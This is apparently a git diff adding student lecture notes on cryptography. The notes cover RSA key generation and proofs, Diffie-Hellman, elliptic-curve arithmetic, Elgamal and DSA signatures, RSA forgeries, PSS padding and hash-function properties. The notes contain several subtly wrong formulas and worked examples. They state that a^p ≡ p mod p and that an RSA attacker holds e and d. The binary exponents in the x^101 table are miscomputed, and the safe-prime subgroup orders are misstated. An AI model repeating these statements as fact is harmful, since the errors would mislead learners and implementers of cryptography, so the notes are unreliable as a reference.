+m = p_1^{e_1}\cdot p_2^{e_2} ... \cdot p_3^{e_3} \\
+\Phi(n) = \prod^n_{i=1} (p_i^{e_i} - p_i^{e_i-1})
+$$
+
+##### $\Phi(p)$ for Primes
+
+$$
+\Phi(n) = \prod^n_{i=1} (p_i^{e_i} - p_i^{e_i-1}) \\
+\Phi(n) = (p^1 - p_0) = (p-1)
+$$
+
+This is similar for semi-primes $n=p\cdot q$
+
+$$
+\Phi(n) = (p^1 - p_0) \cdot (q^1-q_0) = (p-1)(q-1)
+$$
+
+#### Fermat’s Little Theorem
+
+- Fermat’s little theorem states that for some prime $p$, and any integer $a$:
+ - $a^{p-1} \equiv 1 \space (mod \space p)$
+ - Also note that $a^{p-1} = a\cdot a^{p-2} \equiv 1 \space (mod \space p)$
+ - Therefore $a^{p-2}$ is actually the inverse of $a\space (mod \space p)$
+ - It follows that $a^p \equiv p \space (mod \space p)$
+
+#### Euler’s Theorem
+
+- Generalisation of Fermat’s little theorem, not exclusive to primes
+ - $a^{\Phi(m)} \equiv 1 \space (mod \space m)$
+ - If $gcd(a,m)=1$
+- This works for any integer ring $\mathbb{Z}_m$
+ - We can see that FLT is a special case of this
+ - $\Phi(p) = (p-1) \therefore a^{\Phi(p)} = a^{p-1} \equiv 1 \space (mod \space p)$
+
+## RSA Key Generation
+
+1. Choose two large primes, $p$ and $q$
+2. Calculate the modulus $n=p\cdot q$
+3. Calculate $\Phi(n) = (p-1)\cdot (q-1)$
+4. Choose a value $e\in \{2, ..., \Phi(n) -1\}$ where $gcd(\Phi(n),e)=1$
+5. Compute $d$ where $d\cdot e \equiv 1 \space (mod \space \Phi(n))$
+
+ 
+
+$d$ is very easy to calculate if you know $p$ and $q$
+
+#### Example
+
+
+
+##### Encryption
+
+- Now we have a public key $(3, 187)$ and private key $107$
+- Encryption and decryption is performed by:
+ - $x^e \equiv y \space (mod \space n)$
+ - $y^d \equiv x \space (mod \space n)$
+
+
+
+#### Proof
+
+- We want to show that $(x^e)^d = x^{ed} \equiv x \space (mod \space n)$
+- Let’s assume $gcd(x,n)=1$ So Euler’s theorem applies
+ - $e\cdot d=1\space (mod \space \Phi(n))$
+ - $\therefore e\cdot d = 1 + k\cdot \Phi(n)$
+ - $x^{e\cdot d} = x^{1+k\cdot \Phi(n)} = x\cdot x^{k+\Phi(n)}$
+ - $x\cdot (x^{\Phi(n)})^k=x\cdot(1)^k=x$
+
+### Why is RSA Secure
+
+- We’d like the message $x$ based on some ciphertext $y$, given the public key $e$:
+ - $y \equiv ?^d \space (mod \space n)$
+ - $x \equiv y^? \space (mod \space n)$
+- It can be fairly easy to calculate $d$:
+ - $e\cdot d \equiv q \space (mod \space \Phi(n))$
+ - $\Phi(n) = (p-1)(q-1)$
+- As an attacker we only have access to $e$ and $d$
+
+### Exponentiation
+
+$$
+x^4 = x^2 \cdot x^2 \\
+x^8 = x^4 \cdot x^4
+$$
+
+When calculating a exponent raised to a power of two, we can use previously calculated values.
+
+##### Binary Exponentiation
+
+Where we treat the exponent as a binary number
+
+- We either square or multiply
+
+$26=11010_2$
+
+- Remember squaring is 1 bit shift to the left
+- Multiplying is just adding $1$
+
+$$
+x^{101} \quad = \quad x^{1100101_2} \\
+x\cdot x = x^2 \quad x^{10_2} \\
+x^2 \cdot x = x^3 \quad x^{110_2}\\
+x^3 \cdot x^3 = x^6 \quad x^{1100_2}\\
+x^6 \cdot x^6 = x^{12} \quad x^{11000_2}\\
+x^{12} \cdot x^{12} = x^{24} \quad x^{110000_2}\\
+x^{24} \cdot x = x^{25} \quad x^{110001_2}\\
+x^{25} \cdot x^{25} = x^{50} \quad x^{1100010_2}\\
+x^{50} \cdot x^{50} = x^{100} \quad x^{11000100_2}\\
+x^{100} \cdot x = x^{101} \quad x^{110001001_2}\\
+$$
+
+##### Computational Complexity
+
+- What is the computational complexity of exponentiation?
+ - For a 2048 key:
+ - $X^{2^{2048}}$ - A ridiculously big number
+ - Where as using square and multiply
+ - $2048=T$ we need $\frac{3T}{2}$ calculations
+
diff --git a/docs/lectures/cryptography/11_diffie-hellman.md b/docs/lectures/cryptography/11_diffie-hellman.md
new file mode 100644
index 0000000..525bdd9
--- /dev/null
+++ b/docs/lectures/cryptography/11_diffie-hellman.md
@@ -0,0 +1,135 @@
+# Diffie-Hellman
+
+- Two parties can jointly agree a *shared secret* over an *insecure channel*
+- Mathematically, what we are doing is both calculating the same value, mod a prime $p$
+ - Remember $p$ is $\times 10^{600}$
+- The parties separately compute the same key, rather than share it
+
+### $\mathbb{Z}_n^*$
+
+> The set $\mathbb{Z}_n^*$ consists of the integers $\{1,2,...,n-1\}$ for which $gcd(i,n)=1$
+>
+> This set forms an *abelian* group under multiplication modulo $n$. The identity element is 1
+
+- In the majority of cases, we use a prime number as the modulus:
+ - $\mathbb{Z}_p^* = \{1,2,...,p-1\}$
+
+**Group Cardinality** - The number of elements in that group
+
+$$
+|\mathbb{Z}_m^*| = p-1 \\
+|\mathbb{Z}_m^*| = \Phi(n) \\
+$$
+
+- The security of ciphers often depend on the cardinality of the group
+
+#### Cyclic Groups
+
+- Lets consider group $\mathbb{Z}_{11}^*$
+- Consider calculating powers of 3 in this group
+
+$$
+3^i \space (mod \space 11) \\
+a^1=3\\
+a^2=3\cdot 3 = 9 \\
+a^3 = 27 \equiv 5 \\
+a^4=a\cdot a^3=3\cdot 5 \equiv 4 \\
+a^5=a\cdot a^4=3\cdot 4 \equiv 1
+$$
+
+- This pattern of $\{3,9,5,4,1\}$ repeats indefinitely
+
+##### Order of an Element
+
+> The order $ord(a)$ of an element $a$ of a group $(G, \circ)$ is the smallest positive integer $k$ such that:
+>
+> $a^k = \underbrace {a\circ a\circ ...\circ a}_{k\space times} =1$
+>
+> Where 1 is the neutral element of $G$
+
+##### Another Cyclic Group
+
+- What about $2^i$ in $\mathbb{Z}_{11}^*$
+
+$$
+2^i \space mod \space 11 \\
+a^1 = 2 \\
+a^2=4 \\
+a^3=8 \\
+a^4=5 \\
+a^5=10 \\
+a^6=9 \\
+a^7=7 \\
+a^8=3 \\
+a^9=6 \\
+a^{10}=1 \\
+a^{11}=2 \\
+a^{12}=4 \\
+$$
+
+- We have generated every value in this group before cycling back round
+
+- A group that contains an element $g$ of maximum order is called a cyclic group
+- Any element of maximum order is called a primitive root, or a generator
+ - $2$ is a generator of $\mathbb{Z}_{11}^* \quad ord(2)=10$
+ - 3 is not a generator $\mathbb{Z}_{11}^* \quad ord(3)=5$
+
+##### Cyclic Subgroups
+
+- For all primes, $(\mathbb{Z}_{11}^*, \cdot)$ is an *abelian finite cyclic group*
+ - Let $g \in G$ where $G$ is a cyclic group:
+ 1. $g^{|G|}=1$
+ 2. $ord(g)$ divides $|G|$
+ - These are called **cyclic subgroups**
+- Orders of $\mathbb{Z}_{11}^*$
+ - 
+ - Note the neutral element generates an order of $1$
+
+## Diffie-Hellman
+
+1. Alice and Bob agree on a large prime $p$, and a generator $g$ that is a primitive root of $p$
+2. Alice and Bob choose private numbers $a$ and $b$ at random in $\mathbb{Z}_p^*$
+ - Where $a\in \{1,2,...,p-1\}$
+ - and $b\in \{1,2,...,p-1\}$
+3. Alice calculates $A=g^a\space mod \space p$ and sends $A$ publicly to Bob
+4. Bob calculates $B=g^b\space mod \space p$ and sends $B$ pubicly to Alice
+5. Alice computes $k_{ab}=B^a\space mod \space p$
+6. Bob computes $k_{ab}=A^b\space mod \space p$
+
+$$
+B^a\space mod \space p = (g^b)^a = g^{ab}\space mod \space p \\
+A^b\space mod \space p = (g^a)^b = g^{ab}\space mod \space p
+$$
+
+#### The Discrete Logarithm Problem
+
+- Why is Diffie-Hellman so hard to break
+- Consider $\mathbb{Z}^*_{10000079},\space g=3$
+ - Alice calculates $A=3^a\space mod \space 10000079 = 4675535$
+ - What is $a$?
+- This is the discrete logarithm problem
+
+**Brute Force** requires $O(|G|)$
+
+**Shank’s Baby-Step Giant-Step** requires $O(\sqrt{|G|})$ and $\sim \sqrt{|G|}$ space
+
+- Using 128 bits, this is $2^{64}$, which would need a cluster
+
+**Pollard’s Rho** requires $O(\sqrt{|G|})$
+
+**Pohlig-Hellman** is based on the prime factorisation of $|G|$
+
+- The discrete log problem is solved mod each prime factor and the results combined using the Chinese remainder theorem
+
+**Index calculus** directly attacks $\mathbb{Z}_p^*$ and is the reason Elliptic Curves is so much more efficient
+
+##### Choosing Primes
+
+- To avoid any unexpected small subgroup attacks, commonly used DH primes are **safe primes**
+- A safe prime is a prime $p$ where $\frac{(p-1)}{2}$ is also a prime
+- Consider the order of $\mathbb{Z}_p^*$ for a safe prime
+ - This will have two subgroups of order $p-1$ and $2$
+ - By choosing a generator of the **subgroup of large prime order**, we avoid attacks on small factors of the group order
+ - Basically this ensures the prime factorisation has one massive prime in it
+
+
diff --git a/docs/lectures/cryptography/12_elliptic_curves.md b/docs/lectures/cryptography/12_elliptic_curves.md
new file mode 100644
index 0000000..9e9cdec
--- /dev/null
+++ b/docs/lectures/cryptography/12_elliptic_curves.md
@@ -0,0 +1,293 @@
+# Elliptic Curves
+
+- We’d like to find another type of group and operation in which the discrete logarithm problem is hard
+
+$$
+ax^2+by^2=r^2
+$$
+
+- There are an infinite amount of solutions to this equation
+ - However if we restrict to only integers ($\mathbb{Z}$) and use mod, we have a finite set
+
+- We define an elliptic curve over points in $\mathbb{Z}_p, \space p>3$
+- Set of all pairs where:
+ - $y^2 \equiv x^3 + ax + b \space (mod \space p)$
+- The neutral element is 0
+- One requirement is:
+ - $4a^3 + 27b^2 \neq 0 \space (mod \space p)$
+
+This is $y^2 \equiv x^3 -3x +3$ over $\mathbb{R}$
+
+
+
+Notice the symmetry about the x axis, this is because we have a $y^2$ term meaning we have two solutions
+
+- For a DLP problem, we need a cyclic group
+ - Elements within the group
+ - A group operation
+- For ECs the elements are points on the curve
+- The operation is point addition
+
+#### Point Addition
+
+
+
+#### Point Doubling
+
+$P + P = 2P$
+
+- Here our line will be tangent to P
+
+
+
+#### Group Laws
+
+In elliptic curves, to get $4P$, we can either do $P+3P$ or $2P+2P$
+
+##### Group Properties
+
+- Closed
+ - Any closed addition operation will end up somewhere on the curve
+- Associative
+ - The order of calculations doesn’t matter
+
+##### Point Addition Equations
+
+- We can derive equations for this based on the equation for a line that intersects the curve in three places
+ - Given $y^3=x^3+ax+b$ and points:
+ - $P=(x_1,y_1)$
+ - $Q=(x_2, y_2)$
+ - line $y=s\cdot x + m$
+- $(sx+m)^2 = x^3 + ax + b$
+- $s^2x^2 + 2sxm + m^2 = x^3+ax+b$
+- Plugging in $x_1, y_1, x_2, y_2$
+ - $P+Q=(x_3, y_3)$
+ - $x_3 = s^2 - x_1 - x_2$
+ - $y_3 = s(x_1 - x_3) - y_1$
+
+$$
+s = \cases{\frac{y_2-y_1}{x_2-x_1} \quad (mod\space p); P\neq Q\\{\frac{3x_1^2+a}{2y_1}}\quad (mod\space p); P=Q}
+$$
+
+###### Example
+
+$y^2\equiv x^3+2x+2\space (mod \space 17)$
+
+$(3,1)+(9,16)$
+
+$$
+s=\frac{16-1}{9-3}=\frac{15}{6}=15\cdot 6^{-1} \\
+= 15\cdot 3 \mod{17} \\
+= 11
+$$
+
+$$
+x_3=11^2-3-9 \\
+109 \space \mod{17} = 7 \\\\
+y_3 = 11\cdot(3-7)-1=11\cdot 13 \mod{17} = 6 \\
+$$
+
+#### Inverses
+
+The point reflected in the x axis is the inverse
+
+
+
+#### Neutral Element
+
+$P-P=?$
+
+$P+?=P$
+
+
+
+These are a pain as they don’t intersect the curve, we say they cross the curve at $\infty$
+
+
+
+#### The Point $\mathcal O$ at Infinity
+
+- The point at infinity is the neutral element on a elliptic curve
+ - $P+(-P)=\mathcal O$
+ - $P+\mathcal O=P$
+- In practice the point doesn’t have coordinates, and can’t be used within the normal formula
+ - $P=(x,y)$
+ - $-P=(x,-y)$
+- When implementing, you have to detect when the x values are equal and y values are inverses $\mod p$
+ - e.g. $(7,6)+(7,11)$
+ - $\frac{y_2-y_1}{x_2-x_1}=\frac{-5}{0} = \mathcal O$
+
+### Cyclic Groups
+
+- The points on an elliptic curve including the neutral element $\mathcal O$ form a cyclic subgroup
+- Under certain conditions all points for a cyclic group
+
+
+
+- Given a curve $E$, a primitive root $P$, and a point $aP$, what is $a$?
+- This is the elliptic curve discrete logarithm problem
+
+$$
+aP = \underbrace{P+P+...+P}_{a \space \mathrm {times}}
+$$
+
+
+
+This is the graph modulus $p$
+
+- Given a generator point, points on elliptic curves generate cyclic groups
+ - $y^2 \equiv x^3+2x+2 \mod 17$
+ - 
+ - Here the next two points is the point at infinity ($\mathcal O$) and then it loops back round to $(5,1)$
+- Each cyclic group includes the point at infinity
+
+## Elliptic Curve Discrete Logarithm
+
+- We can construct a DLP in a very similar way to the modular exponentiation equivalent
+ - $aP = \underbrace{P+P+...+P}_{a \space\textrm{ times}} = A$
+- Given points $P$ and $A$, find scalar value $a$
+- Its important to remember the distinction between points on the curve, and integer values
+- On elliptic curves, private keys such as $a$ are integers
+- Generators and public keys are points
+
+#### Group Cardinality
+
+- The size of cyclic groups is very important to the security
+- While easy to calculate for modular arithmetic, the number of points on a give elliptic curve is not so obvious
+- You might imagine that a curve would have $2p+1$ points, in reality it is fewer than this
+ - This is closer to $p$
+- Hasse’s theorem states that for a curve $E$ over a field $\mathbb{Z}_p$, the number of elements $\#E$ is bounded by:
+ - $\#E=p+1+\epsilon$
+ - where $|\epsilon| \leq 2\sqrt{p}$
+
+##### #E
+
+- A large #E is very important to prevent various attacks on ECDLP
+- Calculating it exactly is hard, it can be done with Shoof’s algorithm
+- Various properties of #E enable or restrict certain attacks
+
+##### How Hard is ECDLP
+
+- There are generic algorithms like **Polig-Hellman** that are applicable to any category of DLP
+ - Polig-Hellman requires $O(\sqrt{\#E})$ steps
+- These are generic attacks mean curves and parameters should be chosen with care
+- The most powerful attack on modular arithmetic based DLP is **index calculus**
+ - It is this attack that forces modular arithmetic based crypto-systems to use >2000 bit keys
+ - Index calculus does not work on elliptic curves so they only need to remain secure against generic attacks
+
+#### Efficient Computation
+
+- There is no nautral way of calculating $a\cdot P$
+- Think back to binary exponentiation, square and multiply `->` double and add
+
+| Decimal | Binary |
+| ---------------- | ---------------- |
+| $26_{10}\cdot P$ | $11010_2\cdot P$ |
+| $1P$ | $1 \cdot P$ |
+| $2P=1P+1P$ | $10\cdot P$ |
+| $3P=2P+1P$ | $11\cdot P$ |
+| $6P=3P+3P$ | $110\cdot P$ |
+| $12P=6P+6P$ | $1100\cdot P$ |
+| $12P+1P = 13P$ | $1101\cdot P$ |
+| $26P = 13P+13P$ | $11010\cdot P$ |
+
+### Elliptic Curve Diffie-Hellman (ECDH)
+
+$$
+E, \#E, G \\
+\mathrm{Alice}: a\in \{1,2,...,\#E-1\} \\
+\mathrm{Bob}: a\in \{1,2,...,\#E-1\} \\
+$$
+
+
+
+Alice takes point $G$ on the curve and add it to $a$: $A = a\cdot G$
+
+Bob does the same: $B=b\cdot G$
+
+Alice takes bob’s public key $k_{ab} = a\cdot B$
+
+Bob does the same: $k_{ab}=b\cdot A$
+
+$k_{ab} = a\cdot B = a \cdot (b \cdot G)=ab\cdot G$
+
+$k_{ab} = b\cdot A = b \cdot (a \cdot G)=ab\cdot G$
+
+
+
+#### EC Structure
+
+
+
+Where each layer builds on the one beneath
+
+## Implementation
+
+#### Point Compression
+
+- Since we know the formula for a given curve, we do not need to transport full $(x,y)$ coordinates
+- Each point contains a unique $x$, and one or two $y$ where
+ - $y=\sqrt{x^3 + 2x + 2}\mod p$
+- Most implementations will use the full $x$ value, and append a single bit representing a positive or negative y value
+
+#### Projective Coordinates
+
+- Some implementations adjust the formula for point addition to use projective coordinates $(x,y,z)$ rather than $(x,y)$
+- The curve sits on the plane $z=1$
+- Points at infinity $\mathcal O = (0,1,0)$
+
+**Why?**
+
+- Point addition in this system does not require a multiplicative inverse
+
+#### Standard Curves
+
+- The choice of curve parameters influences both security and efficiency of crypto-systems based around ECs
+- Never use a randomly generated curve!
+ - The chances are the number of points we generate will have a subgroup susecpible to Polig-Hellmen
+- Standard curves exist in various forms
+ - Varied equations
+ - Different implementation methods
+ - Different choices of prime
+
+##### P-256
+
+- Weierstrass curve $y^2\equiv x^3+ax+b\mod p$
+- Very widely used
+- One of the few curves in `TLS1.3` and NSA Suite B
+
+
+
+- $h$ is the cofactor, the size of the subgroup in $G$
+ - Because its 1 it means all the points are being generated
+ - If it was 2, only half of the points are being generated
+
+##### secp256k1
+
+- Koblitz curve $y^2\equiv x^3+7\mod p$
+- Underpins Bitcoin digital signatures
+
+
+
+##### Curve25519
+
+- Montgomery curve $y^2\equiv x^3 + 486662x^2+x\mod p$
+- Primary alternative to `P-256`
+- In `TLS1.3` and numerous other protocols
+- The nature of this curve allows efficient multiplication using a Montgomery ladder, using only $X$ and $Z$
+- This algorithm can compute numbers in constant time
+
+
+
+##### Curve448-Goldilocks
+
+- Untwisted Edwards Curve $y^2+x^2\equiv 1 - 39081x^2y^2\mod p$
+- 448 bit curve
+- Primarily used within digital signatures as part of `Ed448`
+- Edwards curve arithmetic mod this “goldilocks” prime is very efficient
+
+#### Primary Applications
+
+- Elliptic Curve Diffie Hellman
+- DSA Signatures scheme, based on Elgamal signatures
+- Similar schemes involving the alternative curves such as `Ed25519` and `Ed448`
diff --git a/docs/lectures/cryptography/13_elgamal.md b/docs/lectures/cryptography/13_elgamal.md
new file mode 100644
index 0000000..1a5b76b
--- /dev/null
+++ b/docs/lectures/cryptography/13_elgamal.md
@@ -0,0 +1,135 @@
+# Elgamal Encryption
+
+#### Extending Diffie-Hellmen to Encryption
+
+We could do is multiply the plain text by the key generated
+
+$y\equiv x\cdot k_{ab}\mod p \rightarrow x\equiv y\cdot k_{ab}^{-1}$
+
+### Elgamal
+
+- Because this is public key encryption, we can make some efficiency savings by not sending all the information both ways every time
+- If encryption is from Alice to Bob, Bob only needs to publish a public key once
+- The scheme provides some other security benefits - **ephemeral keys**
+
+#### Elgamal Key Generation
+
+**Bob**:
+
+1. Choose large prime $p$
+2. Choose primitive element $g\in\mathbb{Z}^*_p$ or in a subgroup of $\mathbb{Z}^*_p$
+3. Choose $k_{pr}=b\in\{1,2,...,p-1\}$
+4. Compute $B \equiv g^b\mod p$
+5. Publish public key $k_{pub}=(p,g,B)$
+
+#### Elgamal Key Generation
+
+**Alice**:
+
+1. Choose $a\in \{1,2,...,p-1\}$
+2. Compute ephemeral key
+ - $k_E\equiv g^a\mod p$
+ - Remember ephemeral means the key is generated every time communication happens
+3. Compute masking key
+ - $k_M\equiv B^a\mod p$
+4. Encrypt message $x\in\mathbb{Z}^*_p$
+ - $y\equiv x\cdot k_M\mod p$
+5. Send $(k_E,y)$
+
+#### Elgamal Decryption
+
+1. Compute masking key
+ - $k_M\equiv k_E^b\mod p$
+2. Decrypt message
+ - $x\equiv y\cdot k_M^{-1}\mod p$
+
+### Computational Efficiency
+
+To calculate bobs private key we use one exponentiation
+
+Alice has to do two binary exponentiation to send a message to bob
+
+
+
+- Both the exponentiations during encryption can be pre-computed during down time
+- We can also improve on the decryption step using Fermat’s little theorem
+- Fermat’s Little Theorem: $a^{p-1}\equiv 1\mod p$
+ 1. Compute $k_M=k_E^b\mod 67$
+ 2. Compute $k_M^{-1}$
+ 3. Decrypt $y=y\cdot k_M^{-1}\mod p$
+
+#### Practicalities
+
+- Elgamal is a probabilistic encryption scheme. It uses an ephemeral key pair $a$ and $k_E=g^a\mod p$
+- Elgamal has a major weakness if you reuse an ephemeral key, and is also less efficient than simply using Diffie-Hellman than AES
+- The other form of Elgamal is a scheme for digital signatures, variants of which are much more popular
+
+### Elgamal Digital Signature
+
+**Bob**:
+
+1. Choose $g,p$
+2. Choose $k_{pr}=b\in\{1,2,...,p-1\}$
+3. Compute $k_{pub}=B\equiv g^b\mod p$
+4. Publish public key $k_{pub}=(p,g,B)$
+
+Then decide the ephemeral key $k\in\{1,2,...,p-2\}$ where $\gcd(k,p-1)=1$
+
+- $r\equiv g^k\mod p$
+- $s\equiv(m-b\cdot r)\cdot k^{-1}\mod p-1$
+
+Bob sends the message, and $r$ and $s$
+
+Alice to verify:
+
+- $ver_{k_{pub}}(m,(r,s) =\\ g^m = B^rr^s\mod p$
+
+#### Proof
+
+Signature: $s=(m-b\cdot r)\cdot k^{-1}\mod p-1$
+
+- $\therefore s\cdot k=x-b\cdot r \mod p-1$
+- $\therefore x=b\cdot r+k\cdot s \mod p-1$
+
+Then
+
+- $g^x\equiv B^rr^s\equiv(g^b)^r(g^k)^s \mod p$
+- $g^x\equiv g^{br}\cdot g^{ks}$
+- $\therefore g^x\equiv g^{b\cdot r + k\cdot s}\mod p$
+
+Recall: $a^{p-1}\equiv 1\mod p$ for some $m$
+
+- $a^m\equiv a^{q\cdot(p-1)+r}\mod p$
+- $\therefore a^m\equiv (a^q)^{(p-1)}\cdot a^r\mod p$
+- $\therefore a^m\equiv 1\cdot a^r\mod p$
+- So $a^m\equiv a^{m \mod p-1}\mod p$
+
+> If exponents are equal $\mod p-1$, then terms are equal $\mod p$
+
+#### Practicalities
+
+- As with RSA it’s customary to hash the message and use $H(m)$ not $m$
+- The combined message and signature $m, (r,s)$ is roughly 3 times the size of the prime $p$, which makes Elgamal signatures quite inefficient
+- Note that the signature $s\equiv (m-b\cdot r)\cdot k^{-1}\mod p-1$ is calculated in a prime order subgroup of $\mathbb{Z}_p^*$
+- Without hashing Elgamal is vulnerable to existential forgeries, and key recovery is possible if you reuse the ephemeral key $k$
+
+### DSA
+
+- Based on Elgamal, DSA was developed by NIST as an alternative to RSA
+- Computed in a subgroup of prime order q, which is usually 160 bits
+- This means the signature (r, s) is 320 bits
+- Hashing is enforced by the algorithm, and a hash function must match the key size
+ - e.g. SHA-1 for 160-bit q, SHA-256 for 256 bit q
+- Index calculus does not apply to the sub-group, so 160 bit DSA has a security of 80 bits
+ - In practice larger keys would be required now
+
+#### ECDSA
+
+- Identical to DSA, ECDSA operates on an elliptic curve over $\mathbb{Z}_p$ with the signature calculated over a subgroup of prime order $\#q$
+ - More efficient, does not require modulus of thousands of bits
+- Security level is based on generic attacks against EC
+ - i.e $\sqrt{|\#q|}$
+- Deterministic generation of $k$ is often used for safety (RFC 6979)
+ - This is where the ephemeral key isn’t random, it’s based off the hash of the message
+ - This is because reusing the ephemeral key is bad news
+- Other variants like EdDSA using Edwards curves (Ed25519 / Ed448) exist
\ No newline at end of file
diff --git a/docs/lectures/cryptography/14_digital_signatures.md b/docs/lectures/cryptography/14_digital_signatures.md
new file mode 100644
index 0000000..7fd5077
--- /dev/null
+++ b/docs/lectures/cryptography/14_digital_signatures.md
@@ -0,0 +1,183 @@
+# Digital Signatures
+
+- A signature is proof of authenticity of the sender
+- Verification is performed by checking the signature against a known signature
+- Mostly works for the real world, not very robust
+ - This does not scale
+
+#### Electronic Signature
+
+- Create a binary signature and append this to any document
+
+
+
+This is incredibly easy to forge, we need a cryptographic solution
+
+- In many cases two parties will share a symmetric key $k$
+
+
+
+##### Verification
+
+To verify a message one must have the message and the signature
+
+$$
+(x,y)\rightarrow ver_k(x,y)=\begin{cases}\textrm{True; y is valid}\\\textrm{False; y is invalid}\end{cases}
+$$
+
+> **Non-repudiation**
+>
+> Symmetric keys for verification don’t work, because both parties have access to key $k$, either party can sign it.
+>
+> Bob needs to be able to prove that Alice and no one else signed the signature
+>
+> This requires using a private key
+
+Symetric Signatures gives us:
+
+**Authenticity**: The sender is confirmed as authentic - only Alice or Bob could have generated the signature
+
+**Integrity**: The signature confirms the message hasn’t been altered - this is better than the real-world signature scheme
+
+**Non-Repudiation**: We don’t have this - the symmetric key means that either Alice or Bob could have sent the message
+
+### Pubic Key Signatures
+
+- By using asymmetric cryptography we have non-repudiation.
+
+
+
+#### RSA Signatures
+
+Notation:
+
+- $m$ - message
+- $s$ - signature
+
+
+
+##### Efficiency
+
+Signing: $x^d\mod n$
+
+Verification: $s^e\mod n$
+
+- Signing and verification require one use of the *square and multiply* algorithm
+- Efficiency depends on the exponents
+- We often keep $e$ small
+ - $65537=2^{16}+1=10000000000001_2$
+- This prioritises verification speed
+
+##### Signature Forgeries
+
+- A forgery is the ability to create a valid message / signature pair $(m,s)$ where $m$ hasn’t previously been signed by the legitimate signer
+ - For example replay attack using a previous $(m,s)$ wouldn’t count as a forgery
+ - As we cannot control the message contents
+- Various severities of attack exist depending on the control over the message $m$
+
+###### Existential Forgeries
+
+- The attacker is able to create a valid message / signature pair $(m,s)$
+- There are no constraints on $m$, it may well be entirely random
+- $m$ does not need to be a valid message to be understood by a recipient
+
+An attacker has access to Alice’s public key $(n,e)$
+
+- They can calculate
+ - $s=\textrm{random}$
+ - $m' =s^e\mod n$
+- It is trival to generate message and signature pairs based on an RSA public key
+ - Not very useful
+
+###### Selective Forgeries
+
+- The attacker is able to create a valid message / signature pair $(m,s)$ where they have selected $m$ in advanced
+- $m$ may have some mathematical proprieties, or be all zeros etc
+- It is a requirement that $m$ be fixed prior to the attack
+
+###### Universal Forgeries
+
+- The attacker can create a valid signature from any message $m$
+- This is the strongest attack, and implies the previous attacks too
+- In RSA, this would imply the attack has access to the private key
+
+### Malleability
+
+- RSA is also malleable: $RSA(m_1\cdot m_2)=RSA(m_1)\cdot RSA(m_2)$
+- Given two messages $x_1, x_2$ and corresponding signatures $s_1,s_2$
+ - $(m_3,s_3)\equiv(m_1\cdot m_2, s_1\cdot s_2)(\mod m)$
+- This is more control for an attacker than we would like to have for a signature scheme
+- Malleability is a weakness of encryption with textbook RSA too
+
+### Padding
+
+- If we enforce rules about valid formatting on $m$, random messages produced by attackers are unlikely to pass
+ - 
+- Likelihood of a successful forgery is $2^{-y}$
+ - Probability of last bit $2^{-1}$
+ - Probability of last 2 bits $2^{-2}$
+ - etc up to $y$
+
+#### Hash-then-sign
+
+- It is common to hash the message within any padding scheme
+ - $sig_{k_{prvA}}(x)\equiv H(x)^d \mod n$
+- Verification recomputes the hash
+ - $ver_{k_{pubA}}(x,s)= s^e \mod n \equiv H(x)'$
+ - $H(x)\stackrel{?}{=}H(x)'$
+- Existential forgeries are much harder
+ - You’d need a random message that’s also a valid hash
+- Longer messages can be signed, the hash outputs a smaller message digest
+
+##### PKCS v1.5
+
+**P**ublic **K**ey **C**ryptography **S**tandards
+
+- Modern padding schemes use hashing and padding for security
+- Prevents existential forgeries, and attacks on small messages
+ - This is deterministic, the same message gives the same signature
+
+
+
+##### RSASSA-PSS
+
+**RSA** **S**ignature **S**cheme with **A**ppendix
+
+- “with appendix” refers to any scheme that sends $(m,s)$ separately
+- PKCS and similar schemes are deterministic
+- The probabilistic signature scheme adds a random salt to the process, meaning repeated singatures on the same document produce different results
+ - Doesn’t effect security that much, some standards have gone back to a probabilistic approach
+
+###### PSS Encoding
+
+1. Hash message
+2. Concatenate padding, hash and salt to create $M'$
+3. Hash $M’$ into final hash $H$
+4. Append padding to salt to create data block $DB$
+5. Expand $H$ using $MGF$
+6. Calculate $DB \oplus MGF(H)$ to create maskedDB
+7. Output is maskedDB, $H$ and a constant `0xbc`
+ - `0xbc` is just a constant, no specific meaning other than formatting
+8. Use RSA to calculate signature and send $(m,s)$ as normal
+
+
+
+###### PSS Verifying
+
+(if any of these steps fail, return false)
+
+1. Use RSA public key to obtain unsigned signature
+2. Check length and `0xbc` constant
+3. Split signature into maskedDB and $H$
+4. Calculate $MGF(H)$ and therefore $DB$
+5. Check $DB$ padding `00 .. .. 00 1`
+6. Extract salt from $DB$
+7. Recreate $M'$ from padding, message and salt
+8. Calculate $H(M')$
+9. Verify $H(M')=H$
+
+
+
+Nothing is faster than RSA verification, signing is slower
+
+Its quick because of how 65537 is structured
diff --git a/docs/lectures/cryptography/15_hash_functions.md b/docs/lectures/cryptography/15_hash_functions.md
new file mode 100644
index 0000000..1e90b90
--- /dev/null
+++ b/docs/lectures/cryptography/15_hash_functions.md
@@ -0,0 +1,96 @@
+# Hash Functions
+
+#### Multiple Signatures
+
+- Could we simply split up a message and sign parts?
+
+\
+
+A lot of faff for signing large files
+
+- An attacker can remove $s_{n-1}$ (or $s_{any}$) and it would still be valid
+
+### Properties of Hash Functions
+
+1. Any input length
+2. Fixed output length
+3. Pre-image resistance (one way)
+4. Second pre-image resistance
+ - If we have a hashed message, we cannot find another message with the same hash
+5. Collision resistance
+
+#### Pre-image Resistance
+
+- Hash functions must be one-way
+- Given a hash of a message $H(x)$ it must be infeasible to calculate $x$
+- Less applicable to digital signatures
+ - Crucial to password storage and key derivation
+
+#### Second Pre-image Resistance
+
+- Weak collision resistance
+- Given a message $x_1$ and a hash of that message $H(x_1)$ it should be infeasible to find a second message $x_2$ such that $H(x_1)=H(x_2)$
+
+
+
+##### Second pre-image attack
+
+
+
+Oscar finds a weak message (one of the messages is known ahead of time), he replaces the message $x_1$ with $x_2$. Now Oscar can send a signed message to Alice
+
+#### Collision Resistance
+
+- Strong collision resistance
+- It is not possible to find **any** message pair $x_1, x_2$ such that $H(x_1)=H(x_2)$
+- In practice, this is *much easier than finding a weak collision*
+
+
+
+### Preventing Collisions
+
+
+
+#### Collision Attack
+
+
+
+##### How Likely
+
+**Second pre-image attacks**
+
+- For a 256 bit hash with good random properties we might expect $2^{256}$ bit brute force before we find a collision with $x_1$
+
+**Collision Attacks**
+
+- There are many other possible collisions beyond those simply with $x_1$
+
+### The Birthday Paradox
+
+> What is the probability two people in this room share a birthday
+
+- It is easier to first calculate the probability $P(n)$ that $n$ people do not share any birthdays:
+
+$$
+\begin{align*}
+P(2)&=(1-\frac{1}{365}) \\
+P(3)&=(1-\frac{1}{365})\cdot (1-\frac{2}{365}) \\
+P(n)&=(1-\frac{1}{365})\cdot (1-\frac{2}{365})\dots (1-\frac{n-1}{365})
+\end{align*}
+$$
+
